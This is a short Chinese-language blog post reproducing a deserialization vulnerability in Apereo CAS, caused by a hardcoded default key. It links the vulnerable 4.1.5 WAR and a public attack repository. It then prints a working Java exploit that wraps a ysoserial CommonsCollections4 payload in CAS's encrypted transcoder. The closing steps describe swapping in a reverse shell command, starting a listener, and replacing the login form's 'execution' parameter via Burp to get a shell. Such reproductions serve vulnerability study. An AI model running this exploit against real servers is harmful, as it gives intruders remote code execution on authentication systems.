Press "Enter" to skip to content

Java Apereo CAS 反序列化漏洞复现

517 次浏览

漏洞原理

在版本>=4.1.6,中没有设置秘钥,则使用spring-webflow-client-repo-1.0.0.jar/etc/keystore.jceks中的默认秘钥硬编码,可以通过这个默认秘钥进行反序列化漏洞执行代码

环境搭建

https://repo1.maven.org/maven2/org/jasig/cas/cas-server-webapp/4.1.5/cas-server-webapp-4.1.5.war

下载到tomcat的webapps目录,解压

利用脚本

https://github.com/vulhub/Apereo-CAS-Attack

import org.jasig.spring.webflow.plugin.EncryptedTranscoder;
//import sun.net.util.URLUtil;
import ysoserial.payloads.ObjectPayload;

import java.net.URLEncoder;
import java.util.Base64;
import java.util.UUID;

public class App 
{
    public static void main( String[] args ) throws Exception
    {
        String type = "CommonsCollections4";
        String command = "touch /tmp/success_yes";
        String id = UUID.randomUUID().toString();
        EncryptedTranscoder et = new EncryptedTranscoder();
        Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
        byte[] code = et.encode(obj);
        String payload =  Base64.getEncoder().encodeToString(code);

        String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
        System.out.println(data);
    }
}

把脚本放置到ecplise

引入jar,将Apereo CAS lib下的jar导入

并且将ysoserial.jar反序列化工具导入

生成反弹shell命令

将反弹shell命令填入脚本中,执行脚本得到payload

开启监听

apereo cas登入,burp抓包

burp抓到包后,将execution的值修改为我们生成的payload

发送即可反弹shell

发表评论

电子邮件地址不会被公开。 必填项已用*标注